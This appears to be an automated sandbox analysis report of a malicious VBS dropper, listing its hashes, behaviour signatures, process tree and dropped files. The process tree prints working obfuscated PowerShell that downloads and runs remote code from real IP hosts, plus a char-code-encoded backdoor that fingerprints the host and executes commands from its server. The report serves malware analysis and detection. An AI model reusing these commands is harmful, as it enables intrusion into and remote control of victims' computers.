Analysis
-
max time kernel
132s -
max time network
134s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
23-07-2021 15:42
Static task
static1
Behavioral task
behavioral1
Sample
N10122504542.vbs
Resource
win7v20210410
General
-
Target
N10122504542.vbs
-
Size
222B
-
MD5
525e82abf80d9b94e67411a21b2cc770
-
SHA1
53039125576e8375c07980c298874fc90a61cfda
-
SHA256
44a6ab8793ef79cc7c270c17c7390297f2532a5351bc9cc330afeb61cca6d1a0
-
SHA512
358aa84833473ef2fcf5110f92bf12d74e2f3494dd6db69ab010682a6da937ca7db59d32e1a83b10dc2ba9e6a058c22aa8887b6000692655e51ab76dcf690b9d
Malware Config
Signatures
-
Blocklisted process makes network request 7 IoCs
Processes:
mshta.exepowershell.exepowershell.exeflow pid process 8 1048 mshta.exe 10 1048 mshta.exe 12 1048 mshta.exe 13 1048 mshta.exe 15 3712 powershell.exe 26 3712 powershell.exe 27 4888 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
dismhost.exepid process 4128 dismhost.exe -
Drops startup file 2 IoCs
Processes:
WScript.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemUpdate.js WScript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSystemUpdate.js WScript.exe -
Loads dropped DLL 17 IoCs
Processes:
dismhost.exepid process 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe 4128 dismhost.exe -
Drops file in Windows directory 2 IoCs
Processes:
dismhost.exeDism.exedescription ioc process File opened for modification C:\Windows\Logs\DISM\dism.log dismhost.exe File opened for modification C:\Windows\Logs\DISM\dism.log Dism.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4672 4416 WerFault.exe powershell.exe -
Modifies registry class 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings powershell.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 32 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exeWerFault.exepowershell.exepid process 3712 powershell.exe 3712 powershell.exe 3712 powershell.exe 2836 powershell.exe 2836 powershell.exe 2836 powershell.exe 2112 powershell.exe 2112 powershell.exe 2112 powershell.exe 4416 powershell.exe 4416 powershell.exe 4416 powershell.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4672 WerFault.exe 4888 powershell.exe 4888 powershell.exe 4888 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3712 powershell.exe Token: SeDebugPrivilege 2836 powershell.exe Token: SeDebugPrivilege 2112 powershell.exe Token: SeIncreaseQuotaPrivilege 2112 powershell.exe Token: SeSecurityPrivilege 2112 powershell.exe Token: SeTakeOwnershipPrivilege 2112 powershell.exe Token: SeLoadDriverPrivilege 2112 powershell.exe Token: SeSystemProfilePrivilege 2112 powershell.exe Token: SeSystemtimePrivilege 2112 powershell.exe Token: SeProfSingleProcessPrivilege 2112 powershell.exe Token: SeIncBasePriorityPrivilege 2112 powershell.exe Token: SeCreatePagefilePrivilege 2112 powershell.exe Token: SeBackupPrivilege 2112 powershell.exe Token: SeRestorePrivilege 2112 powershell.exe Token: SeShutdownPrivilege 2112 powershell.exe Token: SeDebugPrivilege 2112 powershell.exe Token: SeSystemEnvironmentPrivilege 2112 powershell.exe Token: SeRemoteShutdownPrivilege 2112 powershell.exe Token: SeUndockPrivilege 2112 powershell.exe Token: SeManageVolumePrivilege 2112 powershell.exe Token: 33 2112 powershell.exe Token: 34 2112 powershell.exe Token: 35 2112 powershell.exe Token: 36 2112 powershell.exe Token: SeIncreaseQuotaPrivilege 2112 powershell.exe Token: SeSecurityPrivilege 2112 powershell.exe Token: SeTakeOwnershipPrivilege 2112 powershell.exe Token: SeLoadDriverPrivilege 2112 powershell.exe Token: SeSystemProfilePrivilege 2112 powershell.exe Token: SeSystemtimePrivilege 2112 powershell.exe Token: SeProfSingleProcessPrivilege 2112 powershell.exe Token: SeIncBasePriorityPrivilege 2112 powershell.exe Token: SeCreatePagefilePrivilege 2112 powershell.exe Token: SeBackupPrivilege 2112 powershell.exe Token: SeRestorePrivilege 2112 powershell.exe Token: SeShutdownPrivilege 2112 powershell.exe Token: SeDebugPrivilege 2112 powershell.exe Token: SeSystemEnvironmentPrivilege 2112 powershell.exe Token: SeRemoteShutdownPrivilege 2112 powershell.exe Token: SeUndockPrivilege 2112 powershell.exe Token: SeManageVolumePrivilege 2112 powershell.exe Token: 33 2112 powershell.exe Token: 34 2112 powershell.exe Token: 35 2112 powershell.exe Token: 36 2112 powershell.exe Token: SeIncreaseQuotaPrivilege 2112 powershell.exe Token: SeSecurityPrivilege 2112 powershell.exe Token: SeTakeOwnershipPrivilege 2112 powershell.exe Token: SeLoadDriverPrivilege 2112 powershell.exe Token: SeSystemProfilePrivilege 2112 powershell.exe Token: SeSystemtimePrivilege 2112 powershell.exe Token: SeProfSingleProcessPrivilege 2112 powershell.exe Token: SeIncBasePriorityPrivilege 2112 powershell.exe Token: SeCreatePagefilePrivilege 2112 powershell.exe Token: SeBackupPrivilege 2112 powershell.exe Token: SeRestorePrivilege 2112 powershell.exe Token: SeShutdownPrivilege 2112 powershell.exe Token: SeDebugPrivilege 2112 powershell.exe Token: SeSystemEnvironmentPrivilege 2112 powershell.exe Token: SeRemoteShutdownPrivilege 2112 powershell.exe Token: SeUndockPrivilege 2112 powershell.exe Token: SeManageVolumePrivilege 2112 powershell.exe Token: 33 2112 powershell.exe Token: 34 2112 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
WScript.exemshta.exepowershell.exeWScript.exepowershell.exeWScript.exepowershell.exeDism.exeWScript.exedescription pid process target process PID 3056 wrote to memory of 1048 3056 WScript.exe mshta.exe PID 3056 wrote to memory of 1048 3056 WScript.exe mshta.exe PID 1048 wrote to memory of 3712 1048 mshta.exe powershell.exe PID 1048 wrote to memory of 3712 1048 mshta.exe powershell.exe PID 3712 wrote to memory of 2544 3712 powershell.exe WScript.exe PID 3712 wrote to memory of 2544 3712 powershell.exe WScript.exe PID 2544 wrote to memory of 2836 2544 WScript.exe powershell.exe PID 2544 wrote to memory of 2836 2544 WScript.exe powershell.exe PID 2836 wrote to memory of 3776 2836 powershell.exe WScript.exe PID 2836 wrote to memory of 3776 2836 powershell.exe WScript.exe PID 3776 wrote to memory of 2112 3776 WScript.exe powershell.exe PID 3776 wrote to memory of 2112 3776 WScript.exe powershell.exe PID 2112 wrote to memory of 812 2112 powershell.exe Dism.exe PID 2112 wrote to memory of 812 2112 powershell.exe Dism.exe PID 812 wrote to memory of 4128 812 Dism.exe dismhost.exe PID 812 wrote to memory of 4128 812 Dism.exe dismhost.exe PID 3776 wrote to memory of 4416 3776 WScript.exe powershell.exe PID 3776 wrote to memory of 4416 3776 WScript.exe powershell.exe PID 3712 wrote to memory of 4784 3712 powershell.exe WScript.exe PID 3712 wrote to memory of 4784 3712 powershell.exe WScript.exe PID 4784 wrote to memory of 4888 4784 WScript.exe powershell.exe PID 4784 wrote to memory of 4888 4784 WScript.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\N10122504542.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://bit.ly/3xWNCW92⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $NOTHING = '(N`e`<^_^>t`.W`e'.Replace('<^_^>','w-Object Ne');$alosh='bC||||||!@!@nlo'.Replace('||||||!@!@','lient).Dow'); $Dont='adString(''http://185.81.157.24/3313/3.txt'')';$YOUTUBE=I`E`X ($NOTHING,$alosh,$Dont -Join '')|I`E`X3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\Chrome.vbs"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\run.ps15⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\vb.vbs"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\test.ps17⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\Dism.exe"C:\Windows\system32\Dism.exe" /online /enable-feature /featurename:NetFX38⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\B9AD0412-C3E0-4551-AB42-032C760E1A2D\dismhost.exeC:\Users\Admin\AppData\Local\Temp\B9AD0412-C3E0-4551-AB42-032C760E1A2D\dismhost.exe {0155121A-5F86-4A08-81B7-81B2E154F6AC}9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\alosh.ps17⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4416 -s 21208⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\msi.js"4⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy rEmOtEsIgNeD -Command Invoke-Expression ([System.Text.Encoding]::Default.GetString(@(65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,83,121,115,116,101,109,46,87,105,110,100,111,119,115,46,70,111,114,109,115,13,10,65,100,100,45,84,121,112,101,32,45,65,115,115,101,109,98,108,121,78,97,109,101,32,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,13,10,13,10,36,104,116,116,112,111,98,106,32,61,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,73,110,116,101,114,97,99,116,105,111,110,93,58,58,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,13,10,36,104,32,61,32,34,49,56,53,46,56,49,46,49,53,55,46,55,34,13,10,36,112,32,61,32,34,51,51,49,51,34,13,10,36,86,98,115,80,97,116,104,32,61,32,34,37,86,98,115,112,97,116,104,37,34,13,10,36,83,84,85,80,67,111,112,121,32,61,32,34,37,83,116,97,114,116,117,112,37,34,13,10,36,115,112,108,32,61,32,34,124,86,124,34,13,10,36,69,114,114,111,114,65,99,116,105,111,110,80,114,101,102,101,114,101,110,99,101,32,61,32,39,83,105,108,101,110,116,108,121,67,111,110,116,105,110,117,101,39,13,10,13,10,102,117,110,99,116,105,111,110,32,73,110,115,40,41,32,123,13,10,32,32,32,32,36,68,101,115,116,105,110,97,116,105,111,110,32,61,32,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,52,32,43,32,51,41,32,43,32,34,92,34,32,43,32,34,83,121,115,116,101,109,84,114,97,121,54,52,46,106,115,34,13,10,32,32,32,32,105,102,32,40,36,83,84,85,80,67,111,112,121,32,45,101,113,32,34,84,114,117,101,34,41,32,123,13,10,32,32,32,32,32,32,32,36,67,111,109,109,97,110,100,32,61,32,40,66,105,110,97,114,121,50,83,116,114,105,110,103,40,34,44,46,44,44,44,44,46,46,44,46,46,44,46,46,46,46,44,46,46,46,44,44,44,44,44,46,46,46,46,44,44,46,44,44,46,44,46,46,44,46,44,46,44,44,46,44,44,46,44,46,46,46,44,46,44,44,44,46,46,44,44,46,44,46,44,46,46,44,46,46,44,46,34,46,82,101,112,108,97,99,101,40,34,44,34,44,32,34,48,34,41,46,82,101,112,108,97,99,101,40,34,46,34,44,32,34,49,34,41,41,41,32,43,32,34,32,39,34,32,43,32,36,86,98,115,80,97,116,104,32,43,32,34,39,32,39,34,32,43,32,36,68,101,115,116,105,110,97,116,105,111,110,32,43,32,34,39,34,13,10,32,32,32,32,32,32,32,35,73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110,32,36,67,111,109,109,97,110,100,13,10,32,32,32,32,125,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,71,101,116,45,65,110,116,105,118,105,114,117,115,78,97,109,101,32,123,13,10,91,99,109,100,108,101,116,66,105,110,100,105,110,103,40,41,93,32,32,32,32,32,13,10,112,97,114,97,109,32,40,32,13,10,91,115,116,114,105,110,103,93,36,67,111,109,112,117,116,101,114,78,97,109,101,32,61,32,34,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,34,32,44,32,13,10,36,67,114,101,100,101,110,116,105,97,108,32,13,10,41,32,13,10,32,32,32,32,66,69,71,73,78,32,32,13,10,32,32,32,32,32,32,32,32,123,13,10,32,32,32,32,32,32,32,32,32,32,32,32,36,119,109,105,81,117,101,114,121,32,61,32,34,83,69,76,69,67,84,32,42,32,70,82,79,77,32,65,110,116,105,86,105,114,117,115,80,114,111,100,117,99,116,34,13,10,32,32,32,32,32,32,32,32,125,13,10,32,32,32,32,80,82,79,67,69,83,83,32,32,13,10,32,32,32,32,32,32,32,32,123,13,10,32,32,32,32,32,32,32,32,32,32,32,32,36,65,110,116,105,118,105,114,117,115,80,114,111,100,117,99,116,32,61,32,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,78,97,109,101,115,112,97,99,101,32,34,114,111,111,116,92,83,101,99,117,114,105,116,121,67,101,110,116,101,114,50,34,32,45,81,117,101,114,121,32,36,119,109,105,81,117,101,114,121,32,32,64,112,115,98,111,117,110,100,112,97,114,97,109,101,116,101,114,115,32,32,32,32,32,32,32,32,32,32,13,10,32,32,32,32,32,32,32,32,32,32,32,32,114,101,116,117,114,110,32,36,65,110,116,105,118,105,114,117,115,80,114,111,100,117,99,116,46,100,105,115,112,108,97,121,78,97,109,101,13,10,32,32,32,32,32,32,32,32,125,32,13,10,32,32,32,32,69,78,68,32,123,32,13,10,32,32,32,32,32,32,32,32,125,32,13,10,125,13,10,13,10,70,117,110,99,116,105,111,110,32,66,105,110,97,114,121,50,83,116,114,105,110,103,40,91,83,116,114,105,110,103,93,32,36,100,97,116,97,41,32,123,13,10,32,32,32,32,36,98,121,116,101,76,105,115,116,32,61,32,91,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,71,101,110,101,114,105,99,46,76,105,115,116,91,66,121,116,101,93,93,58,58,110,101,119,40,41,13,10,32,32,32,32,102,111,114,32,40,36,105,32,61,32,48,59,32,36,105,32,45,108,116,32,36,100,97,116,97,46,76,101,110,103,116,104,59,32,36,105,32,43,61,56,41,32,123,13,10,32,32,32,32,32,32,32,32,36,98,121,116,101,76,105,115,116,46,65,100,100,40,91,67,111,110,118,101,114,116,93,58,58,84,111,66,121,116,101,40,36,100,97,116,97,46,83,117,98,115,116,114,105,110,103,40,36,105,44,32,56,41,44,32,50,41,41,13,10,32,32,32,32,125,13,10,32,32,32,32,114,101,116,117,114,110,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,65,83,67,73,73,46,71,101,116,83,116,114,105,110,103,40,36,98,121,116,101,76,105,115,116,46,84,111,65,114,114,97,121,40,41,41,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,80,79,83,84,40,36,68,65,44,32,36,80,97,114,97,109,41,32,123,13,10,36,82,101,115,112,111,110,115,101,84,101,120,116,32,61,32,34,34,13,10,116,114,121,13,10,123,13,10,36,104,116,116,112,111,98,106,46,79,112,101,110,40,34,80,79,83,84,34,44,32,34,104,116,116,112,58,47,47,34,32,43,32,36,104,32,43,32,34,58,34,32,43,32,36,112,32,43,32,34,47,34,32,43,32,36,68,65,44,32,36,102,97,108,115,101,41,13,10,36,104,116,116,112,111,98,106,46,83,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,34,85,115,101,114,45,65,103,101,110,116,58,34,44,32,36,105,110,102,111,41,13,10,36,104,116,116,112,111,98,106,46,83,101,110,100,40,36,80,97,114,97,109,41,13,10,36,82,101,115,112,111,110,115,101,84,101,120,116,32,61,32,91,83,121,115,116,101,109,46,67,111,110,118,101,114,116,93,58,58,84,111,83,116,114,105,110,103,40,36,104,116,116,112,111,98,106,46,82,101,115,112,111,110,115,101,84,101,120,116,41,13,10,125,32,99,97,116,99,104,32,123,32,125,13,10,114,101,116,117,114,110,32,36,82,101,115,112,111,110,115,101,84,101,120,116,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,105,110,102,32,123,13,10,32,32,32,32,36,97,118,32,61,32,71,101,116,45,65,110,116,105,118,105,114,117,115,78,97,109,101,13,10,32,32,32,32,36,118,114,32,61,32,34,118,50,46,48,34,13,10,32,32,32,32,36,109,97,99,32,61,32,72,87,73,68,40,36,101,110,118,58,99,111,109,112,117,116,101,114,110,97,109,101,41,13,10,32,32,32,32,36,105,100,32,61,32,36,119,111,114,109,73,68,32,43,32,34,34,32,43,32,36,109,97,99,13,10,32,32,32,32,36,111,115,32,61,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,83,116,114,105,110,103,115,93,58,58,83,112,108,105,116,40,40,71,101,116,45,87,77,73,79,98,106,101,99,116,32,119,105,110,51,50,95,111,112,101,114,97,116,105,110,103,115,121,115,116,101,109,41,46,110,97,109,101,44,34,124,34,41,91,48,93,32,43,32,34,32,34,32,43,32,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,87,105,110,51,50,95,79,112,101,114,97,116,105,110,103,83,121,115,116,101,109,41,46,79,83,65,114,99,104,105,116,101,99,116,117,114,101,13,10,32,32,32,32,114,101,116,117,114,110,32,36,105,100,32,43,32,34,92,34,32,43,32,40,36,101,110,118,58,67,79,77,80,85,84,69,82,78,65,77,69,41,32,43,32,34,92,34,32,43,32,40,36,101,110,118,58,85,115,101,114,78,97,109,101,41,32,43,32,34,92,34,32,43,32,36,111,115,32,43,32,34,92,34,32,43,32,36,97,118,32,43,32,34,92,34,32,43,32,34,89,101,115,34,32,43,32,34,92,34,32,43,32,34,89,101,115,34,32,43,32,34,92,34,32,43,32,34,70,65,76,83,69,34,32,43,32,34,92,34,13,10,125,13,10,13,10,102,117,110,99,116,105,111,110,32,72,87,73,68,40,36,115,116,114,67,111,109,112,117,116,101,114,41,32,123,13,10,36,69,114,114,111,114,65,99,116,105,111,110,80,114,101,102,101,114,101,110,99,101,32,61,32,39,83,105,108,101,110,116,108,121,67,111,110,116,105,110,117,101,39,13,10,32,32,32,32,36,108,111,108,32,61,32,91,83,121,115,116,101,109,46,67,111,110,118,101,114,116,93,58,58,84,111,83,116,114,105,110,103,40,40,103,101,116,45,119,109,105,111,98,106,101,99,116,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,80,114,111,100,117,99,116,32,32,124,32,83,101,108,101,99,116,45,79,98,106,101,99,116,32,45,69,120,112,97,110,100,80,114,111,112,101,114,116,121,32,85,85,73,68,41,41,13,10,32,32,32,32,114,101,116,117,114,110,32,40,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,83,116,114,105,110,103,115,93,58,58,83,112,108,105,116,40,36,108,111,108,44,39,45,39,41,91,48,93,32,43,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,83,116,114,105,110,103,115,93,58,58,83,112,108,105,116,40,36,108,111,108,44,39,45,39,41,91,49,93,41,13,10,125,13,10,13,10,36,105,110,102,111,32,61,32,105,110,102,13,10,73,110,115,13,10,13,10,119,104,105,108,101,40,36,116,114,117,101,41,13,10,123,13,10,36,65,32,61,32,91,77,105,99,114,111,115,111,102,116,46,86,105,115,117,97,108,66,97,115,105,99,46,83,116,114,105,110,103,115,93,58,58,83,112,108,105,116,40,40,80,79,83,84,40,34,86,114,101,34,44,32,34,34,41,41,32,44,32,36,115,112,108,41,13,10,115,119,105,116,99,104,40,36,65,91,48,93,41,32,123,13,10,32,32,34,82,70,34,32,123,13,10,32,32,32,32,36,84,97,114,103,101,116,80,97,116,104,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,32,43,32,36,65,91,50,93,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,66,121,116,101,115,40,36,84,97,114,103,101,116,80,97,116,104,44,32,91,83,121,115,116,101,109,46,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,68,101,102,97,117,108,116,46,71,101,116,66,121,116,101,115,40,36,65,91,49,93,41,41,13,10,32,32,32,32,91,83,121,115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,46,80,114,111,99,101,115,115,93,58,58,83,116,97,114,116,40,36,84,97,114,103,101,116,80,97,116,104,41,13,10,32,32,98,114,101,97,107,32,125,13,10,32,32,34,84,82,34,32,123,13,10,32,32,32,32,91,83,116,114,105,110,103,93,32,36,80,115,70,105,108,101,78,97,109,101,32,61,32,32,91,83,121,115,116,101,109,46,71,117,105,100,93,58,58,78,101,119,71,117,105,100,40,41,46,84,111,83,116,114,105,110,103,40,41,46,82,101,112,108,97,99,101,40,34,45,34,44,32,34,34,41,32,43,32,34,46,80,83,49,34,13,10,32,32,32,32,36,84,97,114,103,101,116,80,97,116,104,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,32,43,32,36,80,115,70,105,108,101,78,97,109,101,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,36,84,97,114,103,101,116,80,97,116,104,44,32,36,65,91,49,93,41,13,10,32,32,32,32,80,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,66,121,112,97,115,115,32,45,87,105,110,100,111,119,83,116,121,108,101,32,72,105,100,100,101,110,32,45,70,105,108,101,32,36,84,97,114,103,101,116,80,97,116,104,13,10,13,10,32,32,32,32,35,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,71,101,116,70,111,108,100,101,114,80,97,116,104,40,55,41,32,43,32,34,92,34,32,43,32,36,80,115,70,105,108,101,78,97,109,101,46,82,101,112,108,97,99,101,40,34,46,80,83,49,34,44,32,34,46,99,109,100,34,41,44,32,34,80,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,69,120,101,99,117,116,105,111,110,80,111,108,105,99,121,32,66,121,112,97,115,115,32,45,119,105,110,100,111,119,115,116,121,108,101,32,104,105,100,100,101,110,32,45,70,105,108,101,32,34,32,43,32,36,84,97,114,103,101,116,80,97,116,104,41,13,10,32,32,98,114,101,97,107,32,125,13,10,32,32,34,101,120,99,34,32,123,13,10,32,32,32,32,36,70,105,108,101,110,97,109,101,32,61,32,45,106,111,105,110,32,40,40,54,53,46,46,57,48,41,32,43,32,40,57,55,46,46,49,50,50,41,32,124,32,71,101,116,45,82,97,110,100,111,109,32,45,67,111,117,110,116,32,53,32,124,32,37,32,123,91,99,104,97,114,93,36,95,125,41,32,43,32,34,46,118,98,115,34,13,10,32,32,32,32,36,84,97,114,103,101,116,80,97,116,104,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,32,43,32,36,70,105,108,101,110,97,109,101,13,10,32,32,32,32,36,67,117,114,114,83,99,32,61,32,36,65,91,49,93,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,36,84,97,114,103,101,116,80,97,116,104,44,32,36,67,117,114,114,83,99,41,13,10,32,32,32,32,91,83,121,115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,46,80,114,111,99,101,115,115,93,58,58,83,116,97,114,116,40,36,84,97,114,103,101,116,80,97,116,104,41,13,10,32,32,98,114,101,97,107,32,125,13,10,32,32,34,83,99,34,32,123,13,10,32,32,32,32,36,84,97,114,103,101,116,80,97,116,104,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,32,43,32,36,65,91,50,93,13,10,32,32,32,32,91,83,121,115,116,101,109,46,73,79,46,70,105,108,101,93,58,58,87,114,105,116,101,65,108,108,84,101,120,116,40,36,84,97,114,103,101,116,80,97,116,104,44,32,36,65,91,49,93,41,13,10,32,32,32,32,91,83,121,115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,46,80,114,111,99,101,115,115,93,58,58,83,116,97,114,116,40,36,84,97,114,103,101,116,80,97,116,104,41,13,10,32,32,98,114,101,97,107,32,125,13,10,34,67,108,34,32,123,13,10,32,32,32,32,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,69,120,105,116,40,48,41,13,10,32,32,98,114,101,97,107,32,125,13,10,32,32,34,85,110,34,32,123,13,10,32,32,32,32,91,83,121,115,116,101,109,46,69,110,118,105,114,111,110,109,101,110,116,93,58,58,69,120,105,116,40,48,41,13,10,32,32,98,114,101,97,107,32,125,13,10,32,32,125,13,10,91,83,121,115,116,101,109,46,84,104,114,101,97,100,105,110,103,46,84,104,114,101,97,100,93,58,58,83,108,101,101,112,40,51,48,48,48,41,13,10,125)))5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
5d574dc518025fad52b7886c1bff0e13
SHA168217a5f9e9a64ca8fed9eefa4171786a8f9f8f7
SHA256755c4768f6e384030805284ab88689a325431667e9ab11d9aeaa55e9739742f2
SHA51221de152e07d269b265dae58d46e8c68a3268b2f78d771d4fc44377a14e0c6e73aadae923dcfd34ce2ef53c2eaa53d4df8f281d9b8a627edee213946c9ef37d13
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
4e23b6990c8a9418a4d90d86e8333c86
SHA15d41c137f9f48bea3e02de8127b044eac58eda6a
SHA256d44355f8c9969b8b9c646445b07233717a596d002e90067c8ef1301741b423a0
SHA51284bdd66e309bdc1bdf66fa7466e0880984c4e9311e516125091704835400b88e2c48876a01db37e7520114d113b8b7e9ba43735082ad807c7e507e0eca639da3
-
C:\Users\Admin\AppData\Local\Temp\B9AD0412-C3E0-4551-AB42-032C760E1A2D\API-MS-Win-Core-Heap-Obsolete-L1-1-0.dllMD5
4b07a850da9cbedb5d4a172201c0474c
SHA1ffd6213335b5085bc72b12a1e26c005cacec18c6
SHA256dd03abf3ffde8a55c8a803cdd64344589b3f6bf8b38f73049c957a4bc734bb3f
SHA512919fc3a0fe468cbe058933f74e29bf9094002989715321d1ef437853ce287bbc942471c65aae59fa6f02342aaae4e16f55acc57fcb7cc88b903455ed116e8f58
-
C:\Users\Admin\AppData\Local\Temp\B9AD0412-C3E0-4551-AB42-032C760E1A2D\API-MS-Win-Core-Kernel32-Private-L1-1-0.dllMD5
ac4bb6a07b1774f36c7b35658970950f
SHA12733a1dcb45f7386caa9065a472e327563f0f6d3
SHA2566f8079936682631244f1bb827d75f401c4620145284fb1e2296b06c8020b3dad
SHA512ac38c5e457d6cea174f46d9a5d4757a04865976d2960d17ef19dec313c9b90fcb7db2cc22b531816934688b5a7bf86ef57749ed4650a09ed325f48eaf5cd2ea1
-
